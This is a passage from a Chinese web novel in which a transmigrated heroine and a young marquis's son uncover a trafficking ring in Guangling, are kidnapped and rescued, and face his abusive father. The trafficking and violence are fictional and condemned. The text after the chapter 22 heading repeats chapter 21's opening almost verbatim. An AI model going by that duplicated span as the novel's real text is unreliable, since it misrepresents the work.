陈老板笑嘻嘻:“公子多给了,可还是在看点别的?”
周序垂头往柜台近了近:“这是给陈老板你打点小酒喝喝的,我这当然还要买别的。”
他抽出袖子里一百两银票的一角,淡道:“王稳婆引荐来的,我家京州的主子想买个小丫头回家,给自己病孙冲冲喜,您看......”
陈老板脸色立马颤了颤,警觉的看向她喝周序:“这......”
见陈老板犹豫不决,既不推辞也不表态,周序也不敢轻举妄动,气氛一时间有些尴尬。
江日暮瞧着那陈老板一脸戒备,感觉希望不大的样子,想起自己还有外援,立马脑袋里扣系统。
“小桶,小桶!”
系统:【宿主您讲。】
江日暮:“你那里有没有什么突破口或者额外的线索提供一下。”
系统:【鉴于宿主提出的诉求,系统现在为您提供帮助:请选择是用200积分,还是用奖励技能,换取一条进入教坊司的线索?】
江日暮毫不犹豫:“就那啥,奖励技能。”
这要犹豫嘛,她有的选吗!她有200积分嘛请问!
算了,那什么书法技能显然也不是什么有大用处的,就此换了罢。
【叮!】
【您有一条新消息:教坊司线索开始传送,时间为十分钟,您目光所及的人物,凡是与任务相关的,头顶都会出现人物介绍,请把握时间,珍惜看到的每一个人。】
19.倒霉心累 少儿不宜
突然双眼一酸,她下意识闭上再睁开。
这......这......
她面前陈老板的头上出现一行字:【广陵茶铺老板,教坊司地下产业中间商兼接头人之一,共经手买卖六名少女。】
这提示简单直接加霸气,江日暮忍住上翘的嘴角:这外挂!我很喜欢!
她就跟装了特殊芯片的机器人一样,扫描着身边头顶有字的人。
除了陈老板,她看了一圈都是正常的,索性走到窗户边,想多看点人多放点数据到眼睛里。
等等!
楼下平平无奇的人群里,有一行字在发光:【终极boss,教坊司实际控制人!】
这字闪的刺眼,她细细逆着光看,居然是坐在教坊司门口卖货的老妇人!
最离谱的是,老妇人身后那颗大树下还写着清晰的四字:【暗道入口】
这系统哪里是给线索啊,简直是直接告诉答案了啊,这技能换线索换的值啊,简直开卷考试嘛。
真相来得始料未及,她沉浸在破获案情的喜悦里,什么陈记李记的都是毛毛雨啦,都知道大boss了还愁什么飞机,果断兴奋的去拉周序。
周序被她灿烂的喜悦脸弄的摸不着头脑,陈老板那边终于开口:“小公子,你既然来了,那我隐瞒也是无用,只是问题是,我这里的规矩是只进不出啊,你要是卖丫头还好说,你要是想买得另找买的人,我这规矩坏了,要遭殃的。”
周序有些沉不住气,急切道:“那......”
江日暮干净拉住他,眼神看他微微摇头,轻轻拍他胳膊,朝陈老板道:“陈老板既然有难处,咱们就别为难了,不如去赌坊问问,看看谁家卖女儿的,碰碰去,总归能碰到的。”
周序虽心急不安,还是听了江日暮的话,保持沉默。
她按耐住心中的激动,拎起桌上的茶包就拉周序出了茶铺。
直到下了楼,周序才不解问道:“怎么了,是不是你有什么线索了!?”
聪明人!怎么这么聪明呢就!
她将他往教坊司的老妇人那里引,一路小声:“教坊司门口的老妇人好像有问题,等会咱们去套套话!”
果然,昨晚没注意,今天蹲下来看她小摊子上栀子花的时候,就见这老妇人的手干净还保养极好,指甲修的比江日暮的都亮堂。
周序显然也是发觉了,看了江日暮一眼,心领神会。
他刚要开口问,突然耳边听见有谁在喊她的名字,听起来很焦急。
“江小姐,江小姐!”
她转头一看,竟然是二舅舅船上的搬货工,她猛的一个激灵拉着周序:“快跑!”
后面两个汉子死命喊着,她也不知道为什要跑,但是跑起来了,停下又好像哪里不对劲,只能七拐八绕进了什么巷子。
匆忙之间,感觉身后有人,阴森森的感觉笼罩过来,她还没来得及回头,然后脑袋一晕。
天就黑了......
“这丫头不错,生的水灵,一瞧就是大户人家的小姐。”
“你别动歪心思啊,咱们老大说了,能换大价钱,你动了小命就没了。”
“知道,知道,先锁这里吧,吃完饭喊小四来看着,两条链子跑不掉!”
好像安静下来了,又好像晕晕的。
“江日暮,醒醒,江日暮,你怎么样!”
她费劲力气睁开眼睛,看见周序斜冠散发,一脸焦容的盯着她,也不知道他喊了多久,看起来嘴唇都起了干皮。
见到江日暮睁开眼睛,才松了一口气跪坐下来。
又突然,一个轻飘飘的声音在她脑勺后面想起,她毛孔一收,鸡皮疙瘩爬了一身,脑袋发麻。
“暮暮姐姐~”
“啊!周序,有鬼啊!”
虽然手脚被捆着,她还是以抱着耳朵的姿势,不管三七二十几,靠自己□□的核心力量往周序身边猛挪了三把,直到挨上周序的温暖的身体,她才有了点安全感。
周序有些不自然的语气:“江日暮,不是鬼,是文妹儿!”
果然文妹瘦瘦小小缩在一旁,手脚并捆着麻绳,小脸儿脏兮兮的比前段时间见着更黄苦了些。
她显然是饿的有气无力了,眼睛红红的看她们:“暮暮姐姐,你醒了太好了!”
真是踏破铁鞋无觅处,得来全不废工夫,直接给她一脚油门送到终点完成任务了!
江日暮缓过来看看四周,这间屋子类似杂货间,堆放的满满木柴和干草。
她一动,顿觉自己脑后酸痛像被人打了,心好累啊,发现真相的喜悦还没享受够,转眼就掉进了敌人的地盘,早知道会以这样的方式深入敌窝,她当初就应该忍住不换什么鬼技能。
书法技能,听起来没啥大用,万一日后可以装13呢。
她这大喜大悲的过山车情绪还没稳定,令她原地恨不得挖洞的事又发生了。
别搞了!
江日暮一早就感觉自己小腹酸痛了,但阴阴的不影响行动就没在意,刚刚她动作太大,感觉自己身体里一股细细暖流而下!
她低头看了一眼某部位,心中跑过一群马,叫做“卧!泥!马!”
衣料上一小块鲜艳的红色万分刺眼。
要死啊!她来了大姨妈了!也就是传说中的葵!水!
肚子好像有点疼了,怎么好像越来越疼了,她不自觉的卷缩起身子,脑门上的纹随着痛感加深!
好疼!呜呜呜呜!这后知后觉的疼!
这对于女子来说再正常不过的事情,但在此紧要关头,非常的不正常,并非江日暮月经羞耻,而是......好吧,她承认,她就是羞耻!她好羞耻!
她好歹一个黄花大闺女,啥保护措施都没做,万一这副躯体的流量非常大怎么办,万一血流成河怎么办,万一她一动,屁股下面就拖出一条红印子怎么办,啊啊啊啊啊,尴尬的神!
江日暮:“系统,系统,有没有办法控制一下我的葵水。”
系统:【这是生理现象,不属于任务线,宿主请自行处理。】
“废物!”
系统【请宿主注意素质。】
文妹看出她的难受,但是不明白怎么回事。
周序与她挨的极近,且角度刚好瞄到了她那一抹鲜红,黑眸一沉紧张问道:“你怎么了,哪里不舒服,是不是受伤了,我来看看!”
江日暮脸颊红的发烫,她能感觉到自己热气上脑,只恨不的装作个聋子瞎子加哑巴,听不见看不见才好。
头发一勾有点疼,她发现自己头上的
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簪子没了,然后银票也没了!
她绝望了,只想琼瑶式落泪狂吼:不!不!
大奸臣是周序,不是我啊,何苦折磨我至深。
周序还在不知死活的追问,她只好破罐子破摔大喊一声:“别问了!来葵水了!”
终于安静了,终于轮到周序脸红耳热了。
十几岁的少年,再不懂事,也明白了这是怎么回事,他双沉默了。
江日暮不知道他在想什么,只知道自己以后都要留下黑历史了。
文妹关切道:“暮暮姐姐,你还好吧,我听村里的姐姐说,女人来葵水肚子会特别疼,喝点红糖水可能会好点。”
江日暮想解释,红糖水治痛经就是一个安慰剂,实际没有多大卵用,可开口的力气都没了。
她此刻肚子发阴发酸,疼的快要脚趾抠地浑身发颤,最后受不住疯狂的呕吐起来,额头虚汗爬满,脸色白的吓人,周序并起来的两只手去拍她后背,也是无可奈何。
这时,门被打开了。
陈记茶铺的老板笑眯眯的走进来。
“一个平南侯府的嫡公子,一个大将军的亲闺女,好一对人中龙凤,怎么沦落到我们这小鸡窝来了。”
说罢傲气的用下巴看人,一副掌控别人命运的样子。
接着进来一个胖乎乎的女人,抹的艳丽浓妆,穿的花红柳绿,嗓子一出来尖锐的难听,与她气质很是相符。
周序低声:“吴教娘?”
江日暮的看人物技能已经失效了,这个人的身份她猜不出来,但是周序却试探的报出对方的名号。
吴教娘掩面含笑:“好聪明的公子哥儿,能知道我,想必还掌握了不少我们的消息吧,说说吧,两个人鬼鬼祟祟的打探我们干嘛,想买丫头,假的吧。”
周序不答反呛:“大庸律法,人身买卖就算是奴籍都该在当地过了衙门登记,你们这伙人却私下交易,甚至伪造红章各处拐骗女子,利用教坊司做些不正当的买卖,真是胆大包天。”
周序一改正气凛然的样子,转而阴阳怪气道:“而你,身在教坊司知法犯法,助纣为虐更是罪加一等,你真名定不姓吴,不管你是谁,都等着官府来押你进大牢吧!”
吴教娘听着笑弯了腰:“哈哈哈哈哈,真是小孩子天真,不妨告诉你,我大名陈艳,乃教坊司首教,我手里的乐师舞妓专供王室,我培养起来的瘦马专为富商,在广陵,你想搞我,你先看看那些达官贵人答不答应。”
周序也是冷静:“那该叫你陈教娘了。”
陈教娘没了耐心,推开身前的陈老板,从袖子里掏出匕首拍在周序脸上:“好一张俊俏的脸,高鼻梁,削面骨,虽然年纪小了点,但也有好你这口的大爷,晚点给你洗洗干净,换点银子花花。”
嗯?江日暮看着陈教娘,她,她在说什么少儿不宜的东西,这是我能听的吗?
周序好定力,一脸的不为所动,要不是江日暮发现他红耳朵的话,她真以为这个人百毒不侵了。
陈教娘拍拍手:“先将那个丫头送下去饿个三天磨磨脾气,这个扫把星,一来就给我生事。”
周序:“你敢动她!”
陈教娘见他如此激动,好奇的收起匕首:“原来认识啊,有趣有趣,小公子,那咱们可有的聊了。”
20.成为人质 自解困局
都姓陈,两个人还长得相似,陈老板又姐姐姐姐的叫着,二人应该就是姐弟了。
“放开我,放开我!”文妹被陈老板揪着头发往外扯。
文妹身躯娇小,扭成泥鳅也无法反抗成年男子。
“别动她!”
周序愤怒想阻止,可手脚被束,挣扎起身也是跌倒在地,陈教娘哎哟一嗓子,赶紧来扶周序:“小公子急什么,不过是饿这丫头几天,暂时伤不了,都是我的财神爷,我宝贝着呢。”
广陵瘦马,顾名思义就是拥护白幼瘦这样的畸形审美,饿着,是这些女孩子的常态。
文妹哭喊着被拉出柴房不见了身影,周序狠狠看着陈教娘,眼中燃烧着恨,上嘴唇被咬出血来。
江日暮比周序稍微冷静点,她依靠在霉潮的墙上心中有个底,就是二舅舅的人已经发现了她,那找到这里应该不难。
陈老板走了,陈教娘搬来一旁的椅子安然坐了下来。
看来有话要聊。
人在屋檐下,还是要低头,周序年少气盛,挺着胸膛不甘心俯首,江日暮摆烂道:“说吧,想讹多少钱?”
正常反派都会有目中无人的猖狂桥段,欲抑要先扬。
陈教娘很配合出演邪恶的反派人设,捏着嗓子翘起腿:“都说打渔久了总能碰着条大的,这不合该老娘发财,老天把你两送来了。”
周序:“你想做什么?”
陈教娘:“当然是一飞冲天,拿你们两个换点立命的本钱退隐江湖喽,我的傻小哥儿。”
周序:“做梦!”
江日暮问道:“我很好奇,你怎么看出来我们不是来真心买丫头的?”
陈教娘正正身子,居然开始认真回答她的问题:“就你们两个十几岁的文生脸,敢打着大户人家的名号出来买丫头,我这么跟你说,越是有钱的主儿,越是要打发有经验的嬷嬷来挑,这里讲究多呢,一来看小丫头是否完璧,口里是否干净,身段坯子好不好,二来嬷嬷多是府上年久老人值得相信,派两个生瓜蛋子来,还是头一次,你说你们有没有鬼。”
江日暮道:“那我们身份你又怎么知道的。”
陈教娘得意道:“小姑娘,你是不是还在等人来救你,我告诉你,等不到了。”
“你那蠢货二舅舅一早就在城门的告示板那贴了你俩的画像,你价值三千两,他嘛,五十两,董绸虽然粗人一个,可他在广陵的名气却大,稍一打听就知道跑丢的是他亲侄女,况你父兄在京州这般吃的开,真拿你去换钱何止三千两啊。”
她越发喜不自胜,沉浸在自己即将要暴富的喜悦里。
“什么瘦马,船妓,老娘打死不干这提心吊胆的营生了,这半生小心翼翼卑躬屈膝的日子,过够了,那些小姑娘你们要就都带回去,不要嘛,我就便宜送给窑子,反正能出手。”
周序很气她对女孩子们生死的冷漠,目光灼灼恨不得即刻砍了陈教娘,少年还没被搓磨过的正义感此刻斗志昂然,他愤怒的想挣脱手上的铁锁,无果后也没弯下□□的腰身。
直到陈教娘一句:“对了,正巧平南侯近日来了广陵,此刻不知是在淮王那里还是在王大盐商府上,当然,不管哪里,想必也已经看到了告示,你虽在董家只值五十两,可平南侯出的价说不定比这江家丫头的身价还高呢。”
她自我畅想:“零零碎碎要是能凑上一万两,老娘愿此生只做善事,积德重生。”
提到平南侯的时候,江日暮看见周序的腰松然一塌。
广陵人不知周家现状,可京州早就传遍了,周序是个不受宠的嫡子,或者说是他爹的弃子。
周序的性格其实很奇怪,对于他自己的事,只要是能忍的他都会默默忍下来,成为人人眼中的好孩子,可自己珍重之人有事,他又会站出来拼死相护。
完全属于奉献自己讨好他人的性格。
江日暮觉得他太过顺从隐忍,反而忘了爱自己。
平南侯从不过问周序,甚至在何氏的误导下觉得自己的儿子心机有城府,并且一事无成不堪大用,实在不是个引以为傲的孩子。
孩子一直被父亲轻视,他的一生都是潮湿的,要么活得卑微,要么活得讨好,周序这两点在性格上尽显,他有多想得到自己父亲的爱和认可呢,没有人知道。
平南侯承老侯爷武艺,在京州也是个文武双全的人物,他的嫡二子比周序生的壮,力气比周序大,就连骑马射箭都有不错的天赋,他把重心全部放在的二子周御身上,为他选良驹磨宝剑,一桩一件都没有带上过周序。
江日暮嘲笑陈教娘的痴人说梦,周序何尝不难受呢,董家能出五十两,可他的父亲却不一定能做到。
周序被戳到心尖,低吼:“你胡说,我父亲怎么会在广陵,我记得他要去的是徽州。”
陈教娘:“对啊,从京州至徽州,路过广陵嘛不是。”
周序瘫坐在地上,有些失魂恐惧,江日暮并不明白,就算他父亲来了广陵又如何,纵是在不喜欢他,都是自己的孩子,能怎么样呢。
陈老板安置好文妹回来了,进屋前打量来一下他们,喜笑颜开:“姐,董家人找来了,母亲在梅苑侧厢房接待着呢,喊你过去。”
陈教娘点头:“那你看住这两个人,别出差错了。”
陈老板:“肯定不会的,放心吧姐。”
说罢不屑道:“手脚都被铁锁箍着,他们就算有神力也跑不掉啊。”
陈教娘不放心的看了两眼,着急董家人那边等着先去了。”
片刻,杂货间又恢复诡异的安静。
陈老板懒得盯他们,索性靠窗发呆,午间太阳晒的人昏昏欲睡,陈老板没撑住,没防备的打起盹来。
周序见他不动了,盘腿坐着,手对着手腕上的锁眼磨来磨去,没多一会,他轻轻扯开手链,又去弄脚,锁居然轻松脱落下来。
随后蹑手蹑脚的来到江日暮身前,不知手中哪里来的细铁丝,在她锁孔里拨弄上下,解了下来。
他又悄然拿了根木头,照着陈老板的后脑勺一下,陈老板惊的刚睁眼又闭了倒下去。
周序掩窗察看,见无人守着,忙道:“咱们快跑。”
江日暮重获自由紧张的要命,刚要跟着他跑,突然一拍脑门:“傻啦,现在跑去哪儿,文妹救不了,咱们说不定还要被抓,倒不如以毒攻毒,逆向思维,直接跑去他们议事的地方,找我二舅舅保命。”
周序觉得江日暮说的有理:“我们去梅苑先看看!”
江日暮跟着周序在的教坊司各处找梅苑,好在白天的教坊司没什么人,他们又穿在小林子里走不易发觉,远见一处多植干枯矮树,周序道:“梅苑到了。”
圆形拱门书着:“梅苑”二字,江日暮激动的一拍周序,指着前面人影道:“张贵叔!”
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>“怎么办怎么办,我们怎么去找张叔!”
周序看着张贵和三四个船工以及教坊司两个打手装扮的人。
他忽而:“你相信你舅舅的实力吗?”
“啊?”
“你舅舅家祖上就上了运河,靠河的城州他哪里没点势力,就这小小教坊司能跟他叫板真是不自量力。”
他道:“我数到三,你立马冲到张贵叔哪里去,一路喊张叔,到了死死抱着他,什么都别想,知道吗?”
等等,等等,这么简单粗暴的求救嘛!江日暮看着周序蓄势待发的样子,暗道:周序果然看着闷声,实际狠准,真是......我服。
“一,二,三!跑!”
江日暮被他一拉,只好路像个二傻子:“张叔!张叔!”
那教坊司的打手没见过这架势,也没见过江日暮周序,一时间分不清情况,不敢轻举妄动,张贵一早听见声音就分辩出是江日暮的了,瞧见个远处来个蓬头垢面的丫头,更加确信了。
他意料到了打手不敢动作,立刻恢复好奇假装不认识的神情,等江日暮挨近自己,他才张开双臂将江日暮揽在身后。
周序跟着,等打手反应过来,张贵一声口哨,身旁三个船工早就将他们围住。
接着又是一声尖短哨声。
梅苑白墙顿时飞进几个钉爪,接着爬进十几名船工装扮的人,各个精壮有力,脚步沉实。
梅苑里,正在商谈赎金的董绸听见哨声,快步迈了出来。
一眼就瞧见了躲在张贵身后的江日暮及周序,他二话不说直接冲进人群里,来到江日暮周序身后,与张贵呈夹击之势保护着他们。
门口的那个卖花的老妇人被陈教娘扶着出来,陈教娘见两人居然溜到了这里,口中大骂:“混蛋玩意儿,两个人都看不住,母亲,现在怎么办。”
陈老夫人是历过事儿的,看见董绸不顾危险护着的孩子一下子明白了。
教坊司的人刚刚听见动静也赶过来一波,双方对峙,分不清谁更有优势。
陈老妇人挥挥手让打手退下:“董爷,恕我招待不周,今日就不留您用饭了,事情到了这个地步,咱们就各自退让一步,你带孩子们走,也给我们以后走江湖留个脸面,可好?”
董绸没了软肋,又因备了埋伏,全身而退不成问题,便道:“陈老夫人这般说了,那董某就恭敬不如从命了。”
陈教娘急了:“母亲,就这么让他们走了!”
她不甘心,轻声道:“刚刚都谈到五千两了,这进嘴的熟鸭子就这么飞了,母亲,五千两啊,可不是小数目,咱们费尽心思刨去成本,两三年出一个丫头才三百两,品相好的也就五百,这得攒多久啊!母亲,就这么放过去了!”
陈老夫人瞧着自己一个不争气的儿子,一个没脑子的女儿,硬是忍住了闷气:“你也是个少根筋的,现在这形势要钱还是要命,手上没了筹码,该求着董绸放过我们,没货还要钱,道上的规矩,这叫抢,你能在他董绸手里抢钱,你是不是以后不活了!”
被自己母亲噎住话,陈教娘只能忍气吞声看着被护得紧紧的江日暮,恨不能飞身过去拉回来,又暗恨自己那不成器的弟弟,从来干不成正事儿。
董绸与张贵护着二人要往外撤,这时跑来一个慌张小厮,见了这架势更是惶恐跪在陈老夫人前:“老夫人,知府大人带着官兵抄围了教坊司!”
21.父训子顺 呆若木鸡
回苏州的三层豪华楼船画舫之上,江日暮和董绸一行人在船上二层客厅坐立不安,周序被周臣毅关在顶层的中央花厅半个时辰了。
哦,对了,介绍一下,周臣毅,周序的亲生父亲,世袭至今三代的平南候。
那个传闻里冷漠无视他的父亲。
周臣毅出现在教坊司门口时,所有人都没有意料到,他们对峙时广陵知府突然发签拿人,也正是因陈家姐弟悄悄作死,递信给了正在淮王那里做客的周臣毅。
那姐弟两以为能用周序的命威胁住周臣毅换笔大钱,可实际上直接惹恼了他,他堂堂侯爷面子最重要,才顾不得周序生死,眼里只有被蝼蚁威胁后的丢脸。
周臣毅长袖一甩震怒:“一群管戏班子的货色,也特么敢来威胁我!”
当即通知了广陵知府直接拿人。
知府这种职业,多多少少都是揣着明白装糊涂的角色,平常对陈家睁一只眼闭一只眼,真的大佬来了,还是得乖乖交底。
江日暮听着顶楼第三个茶杯摔碎的声音,实在憋不住了,推开门就往楼上冲。
董绸已经放弃劝她了,只有张贵不放心,立马跟了上去。
江日暮见中央花厅闭着门,她只好先在顶楼栏杆处转悠,随即问张贵道:“平南侯很狂躁吗,文妹为什么也关在里面,她又没做错什么事,这个平南侯难不成还要治文妹的罪?”
张贵看着大门摇头:“不好说,平南候的向来严厉,这次救出来的女孩子都送回了苏州,唯有这文妹被他拎了出来,总不见得是要奖励的。”
江日暮还不能确定书中被平南候打死的官妓是不是文妹,可她现在直觉很不好,她得想办法进去。
“张叔,有没有什么办法能让我进去看看,听说平南侯本就不喜欢周序,万一动手,周序岂不是只有挨打的份?”
张贵为难的看着她,解释道:“江小姐,他们是父子,自古以来,老子打儿子天经地义,咱们不好去插手的。”
说罢又意味深长看她浅笑:“二爷一路跟我抱怨,说你母亲将你生得这样好,你倒满心满眼的想着这小子,他就不明白,这小子除了样子上道点,哪里值得人喜欢。”
我当时还劝他:“孩子们单纯,感情好些,相互照顾也是情理之中,如今再看倒不尽然......”
江日暮忙哎哟哎哟的解释自己啥非分之想也没有,就是和周序时好友的关系,可张叔一个劲儿笑她,不听她。
江日暮急着,又听见里面一声怒吼,接着棍子打到肉上的闷声,周臣毅中气十足的叫道:
“畜生,常说忠言逆耳,良药苦口,你母亲为你殚心竭虑,怕你歪了性子将你送到苏州田庄来磨练,你倒好,庄子上的活不干,跟着江家小姐私跑去了广陵,这事倒也罢了,江家小姐好歹时是你母亲在时定下的清白人家,只是你又为这么一个贱奴到处丢人现眼,年纪轻轻学起人风流来!”
忽而又是一棍子打碎桌椅木板的咔嚓断裂声。
他不等周序言说,暴怒斥责:“周执言,你真是好样的,居然这般豁得出去,以前我怎么不知你这么侠肝义胆!你什么身份,贱奴什么身份,你丢脸到苏州不够,还要丢去广陵,陈家找我要赎金时,听得淮王刺史都在发笑,都知我周府出了个逆子,可叹我风光一世,跟头栽在了你身上!”
江日暮在外面听着,她很不理解,明明周序有没有做错什么,这件事从头到尾周序不过是想救人,怎么就成了丢他脸了,若自己是周序的父亲,她定会为周序这般侠肝义胆而感到骄傲!
外面江日暮急的热锅蚂蚁,里面周序畏惧的缩头乌龟。
周臣毅见他不吭声,更是上火,一脚踹上周序,人翻倒下去骨头磕上地板“咚”。
周序见自己父亲疾声厉色,又立马跪好,俯首听着,不敢争辩,江日暮实在等不下去了。
不是,这不就是赤裸裸的PUA吗?周序怎么了,跟被妖精附体一样,一动不动。
他周序也算是前世谋权篡位的铮铮傲骨了,怎如今半点吭不出声。
平南侯的爹味正盛,还在训人:“你既占了我侯府的名号,就本本分分老实做人,我不求你才华横溢,只愿你别给我出去丢人,你弟弟小你四岁,如今能文能武,你再如此这般游手好闲下去,你祖父回来了都救不了你。”
“此番我不能带你走,你回苏州田庄给我夹起尾巴好好做人,但凡我再得知你品行不端,小心我扒了你的皮!”
“扒什么皮,你扒谁的皮!?”江日暮在忍就要憋出病了,她并未接受过男尊女卑的洗脑,是以她踢门进去的时候才知道事情有多严重。
只听张贵小声惊呼:“我的活菩萨。”
再一看,人已经没有踪影了。
傻了吧!江大小姐!
她察觉不妥时,周臣毅,周序,文妹都在用一种宛如见到外星人跳舞一样震惊的目光注视她。
可以这么说,侯门训子这样的场合,就算是周序的亲母在场,都不敢多言半句,却被江日暮这个十七岁的闺阁小姐大声质问出来。
要不是江日暮有点背景,那平南候已经入了杀意的眼没准下一秒就动手了。
还好此刻董绸及时出现,江日暮赶紧跑到他身后掩起半个身子,才不至于平南侯生吞了她。
张叔真不愧是董府管家,这眼力见儿,真金白银买不来。
董绸见气氛严肃,立马赔笑:“是我这外甥女不知礼数了,我回去就罚她!”
周臣毅:“哼!”
生意人能屈能伸的本事不是盖的,董绸游刃有余的圆场:“侯爷莫怪这孩子无礼,这些时日,序公子与我家暮姐儿相处的不错,他俩在田里做活认识了这女娃娃,免不了要护着,年轻人气性大,一冲动便失了规矩。”
说罢立马拉着江日暮道:“还不快跟侯爷道歉,完了出去,周侯爷的家事咱们轮不上插嘴。”
周臣毅扔掉手里的棍子,平平了气色道:“女娃娃?这里哪里来什么女娃娃,据我所知,这孩子早在教坊司勾了名号,说准确点,可是个官妓,他们一个侯府嫡子,一个高门贵女,为了个官妓从苏州追到广陵,抛头露面逞威风。我倒是好奇了,这个女娃娃有什么好?”
他打量周序,眼中不屑:“江姑娘与执言有婚约,你说他为这一女娃娃舍身舍命的,以后二人如何相处,要我说不如了结了,干净利落。”
江日暮忍住自己的白眼暗骂道:心眼儿脏,看什么都脏,怎么男女之间就不能惺惺相侠,非得挂上点情情爱爱的东西才有话说吗,脏货,臭不要脸的。
江日暮想着也不能硬刚,毕竟他侯府祖宗累积下来的家业比自己父亲厚实的多。
董绸和和气气的摆假笑:“序公子住在董府,我那妹夫肯定早就与周候爷通过气了,这三个孩子董家长辈都
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知道,早就相识的,暮姐儿心思纯良,婚约一事也是父母之命,还没定亲,都是口头约定也算不得什么定数,姐儿定是把他们当做弟弟妹妹看待,三个十岁来去的孩子,也不至于如侯爷所说的这般复杂。”
他看着周序又道:“文妹被抓,序公子心急,正是彰显了公子仁义善良,侯府大将爱民之心啊!”
周臣毅不在同,抬杠道:“大丈夫,比起十八般武艺,能翻筋斗云,这些善良纯真根本倒不值一提。”
他走出两步,看向江日暮:“江小姐毕竟是个大门不出二门不迈的闺阁女子,人心险恶,你又怎知这个女娃娃接触周序的心是单纯的,或许她早知自己命运,所以早早攀附周序,妄想想改命,这样的女子我见的多了,要我说像这样勾引主子的女子,我现在一刀杀了,扔到海里喂鱼,也是在替天行道!”
纯**傻*
江日暮咬着唇偷骂。
她正骂着,脑袋里蹦出“官妓”二字,她开窍一般想到,自己完全可以把系统当搜索引擎用啊。
“小桶,小桶,能不能帮我查一下......”
她想寻求小桶的帮助,小桶还未来得及回答,周臣毅抽了腰间的长剑,就要劈向文妹。
文妹吓的忘记躲,周序瞪大眼睛,看着自己的父亲劈下来,还是没有动弹。
就在长剑即将要见血时,董绸挺身而出将文妹拖到自己脚边,文妹刚刚跪着的地方,被剑劈出一块大洞。
平南侯的意欲再劈:“贱女早该一剑杀了,也让周序知道人心险恶,妇人之仁只会惹出大祸,日后不堪大用而已。”
江日暮眼见着来不及,忙蹲下抱住文妹,她等待利剑劈上来,却半天没动静,忽然有血在滴上她的脑门。
“舅舅!”
没想到董绸在自己身后徒手握住了剑锋,舅舅见了血,周臣毅的气焰也冷静了下来,张贵连忙吩咐下人拿船上的应急物资给董绸包扎。
周臣毅一副事不关己的淡定模样:“董二爷这是何必,弄的我再训反而不自在了。”
董绸依旧陪笑:“候爷该训还是训,何必要见刀子,我外甥女与这小子是约了姻亲的,两家既是亲家,不如咱们缓些,有事慢慢说,我妹夫与我那大外甥子最是宝贝这丫头了,自是不能伤了半点,今日我说句不怕侯爷与我董家翻脸的话,这一剑要是劈在暮姐身上,怕是也不好和京州的交代。”
说到江家父子,周臣毅脸色才沉了沉,虽说他袭爵侯门,出身簪婴,可大庸的兵权在他父亲手里攥着,自己在兵部说起来风光,二品尚书,也不过管管军队一应事务,手中并无半点实权。
抛开他的出身,论实力,腰板不一定硬的过江如海和他鬼精的儿子,江家若真要与他结了仇,怕也是麻烦事儿。
想了想,拱拱手,虽没开口,那意思也是打过招呼了。
收起剑,他冷眼居高,看着周序冷道:“就你这胆量,别说不如你弟弟,你就连着江家小姐都半分不如,这贱婢我暂因江家面子留了这一命,此后若我再知道你为女人如此折腾,??老子便连你与那贱婢一道杀了。”
此前在京州,江如海曾笑面盈盈给他提了一嘴,江夫人帮忙照看周序一事,他客套应承了,如今也没有反悔的道理,又追了一句:“你既有江夫人照顾,我便也不管你了,待上岸,自己好自为之吧!”
便将周序赶出了顶楼花厅。
22.侯门父亲 冷漠无情
回苏州的三层豪华楼船画舫之上,江日暮和董绸一行人在船上二层客厅坐立不安,周序被周臣毅关在顶层的中央花厅半个时辰了。
哦,对了,介绍一下,周臣毅,周序的亲生父亲,世袭至今三代的平南候。
那个传闻里冷漠无视他的父亲。
周臣毅出现在教坊司门口时,所有人都没有意料到,他们对峙时广陵知府突然发签拿人,也正是因陈家姐弟悄悄作死,递信给了正在淮王那里做客的周臣毅。
那姐弟两以为能用周序的命威胁住周臣毅换笔大钱,可实际上直接惹恼了他,他堂堂侯爷面子最重要,才顾不得周序生死,眼里只有被蝼蚁威胁后的丢脸。
周臣毅长袖一甩震怒:“一群管戏班子的货色,也特么敢来威胁我!”
当即通知了广陵知府直接拿人。
知府这种职业,多多少少都是揣着明白装糊涂的角色,平常对陈家睁一只眼闭一只眼,真的大佬来了,还是得乖乖交底。
江日暮听着顶楼第三个茶杯摔碎的声音,实在憋不住了,推开门就往楼上冲。
董绸已经放弃劝她了,只有张贵不放心,立马跟了上去。
江日暮见中央花厅闭着门,她只好先在顶楼栏杆处转悠,随即问张贵道:“平南侯很狂躁吗,文妹为什么也关在里面,她又没做错什么事,这个平南侯难不成还要治文妹的罪?”
张贵看着大门摇头:“不好说,平南候的向来严厉,这次救出来的女孩子都送回了苏州,唯有这文妹被他拎了出来,总不见得是要奖励的。”
江日暮还不能确定书中被平南候打死的官妓是不是文妹,可她现在直觉很不好,她得想办法进去。
“张叔,有没有什么办法能让我进去看看,听说平南侯本就不喜欢周序,万一动手,周序岂不是只有挨打的份?”
张贵为难的看着她,解释道:“江小姐,他们是父子,自古以来,老子打儿子天经地义,咱们不好去插手的。”
说罢又意味深长看她浅笑:“二爷一路跟我抱怨,说你母亲将你生得这样好,你倒满心满眼的想着这小子,他就不明白,这小子除了样子上道点,哪里值得人喜欢。”
我当时还劝他:“孩子们单纯,感情好些,相互照顾也是情理之中,如今再看倒不尽然......”
江日暮忙哎哟哎哟的解释自己啥非分之想也没有,就是和周序时好友的关系,可张叔一个劲儿笑她,不听她。
江日暮急着,又听见里面一声怒吼,接着棍子打到肉上的闷声,周臣毅中气十足的叫道:
“畜生,常说忠言逆耳,良药苦口,你母亲为你殚心竭虑,怕你歪了性子将你送到苏州田庄来磨练,你倒好,庄子上的活不干,跟着江家小姐私跑去了广陵,这事倒也罢了,江家小姐好歹时是你母亲在时定下的清白人家,只是你又为这么一个贱奴到处丢人现眼,年纪轻轻学起人风流来!”
忽而又是一棍子打碎桌椅木板的咔嚓断裂声。
他不等周序言说,暴怒斥责:“周执言,你真是好样的,居然这般豁得出去,以前我怎么不知你这么侠肝义胆!你什么身份,贱奴什么身份,你丢脸到苏州不够,还要丢去广陵,陈家找我要赎金时,听得淮王刺史都在发笑,都知我周府出了个逆子,可叹我风光一世,跟头栽在了你身上!”
江日暮在外面听着,她很不理解,明明周序有没有做错什么,这件事从头到尾周序不过是想救人,怎么就成了丢他脸了,若自己是周序的父亲,她定会为周序这般侠肝义胆而感到骄傲!
外面江日暮急的热锅蚂蚁,里面周序畏的缩头乌龟。
周臣毅见他不吭声,更是上火,一脚踹上周序,人翻倒下去骨头磕上地板“咚”。
周序见自己父亲疾声厉色,又立马跪好,俯首听着,不敢争辩,江日暮实在等不下去了。
不是,这不就是赤裸裸的PUA吗?周序怎么了,跟被妖精附体一样,一动不动。
他周序也算是前世谋权篡位的铮铮傲骨了,怎如今半点吭不出声。
